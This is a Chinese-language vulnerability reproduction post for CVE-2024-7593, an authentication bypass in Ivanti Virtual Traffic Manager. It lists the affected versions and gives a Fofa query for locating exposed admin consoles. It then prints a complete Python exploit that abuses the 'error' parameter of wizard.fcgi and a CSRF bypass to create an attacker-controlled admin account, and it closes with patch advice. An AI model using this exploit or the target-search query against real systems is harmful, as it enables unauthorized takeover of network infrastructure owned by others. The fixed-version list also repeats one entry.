Ivanti Virtual Traffic Manager身份验证绕过（CVE-2024-7593）

0x01 漏洞描述：

Ivanti Virtual Traffic Manager是一款高级的应用交付控制解决方案，旨在帮助企业提高应用程序的性能、可用性和安全性。该产品通过智能的负载均衡、全局服务器负载平衡、SSL加速和应用程序安全等功能，有效管理和优化网络流量，确保应用程序的顺畅运行。Ivanti Virtual Traffic Manager支持多种应用部署模式，包括传统数据中心、云环境和混合部署，为企业提供灵活的部署选项。由于身份验证算法错误，未经身份验证的攻击者绕过面向互联网的vTM管理控制台上的身份验证，导致可以对Ivanti vTM管理界面的未授权访问，并创建恶意管理用户。

0x02 影响版本：

Ivanti Virtual Traffic Manager 22.2
Ivanti Virtual Traffic Manager 22.3
Ivanti Virtual Traffic Manager 22.3R2
Ivanti Virtual Traffic Manager 22.5R1
Ivanti Virtual Traffic Manager 22.6R1
Ivanti Virtual Traffic Manager 22.7R1

0x03 搜索语句：

Fofa："Pulse Secure vTM Administration Server"

0x04 漏洞复现：

poc

import requests

# Set to target address
admin_portal = 'https://your-ip:9090'

# User to create
new_admin_name = 'ldwkadmin'
new_admin_password = 'ldwkadmin1234'

requests.packages.urllib3.disable_warnings() 
session = requests.Session()

# Setting 'error' bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { 'error': 1,
          'section': 'Access Management:LocalUsers' }

# Create new user request
# _form_submitted to bypass CSRF
data = {  '_form_submitted': 'form',
          'create_user': 'Create',
          'group': 'admin',
          'newusername': new_admin_name,
          'password1': new_admin_password,
          'password2': new_admin_password }

# Post request
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")

 

使用修改后的账号密码登录

 

0x05 修复建议：

目前厂商已发布可更新版本，建议用户尽快更新至 Ivanti Virtual Traffic Manager 的修复版本或更高的版本：

Ivanti Virtual Traffic Manager 22.2R1
Ivanti Virtual Traffic Manager 22.3R3
Ivanti Virtual Traffic Manager 22.3R3
Ivanti Virtual Traffic Manager 22.5R2
Ivanti Virtual Traffic Manager 22.6R2
Ivanti Virtual Traffic Manager 22.7R2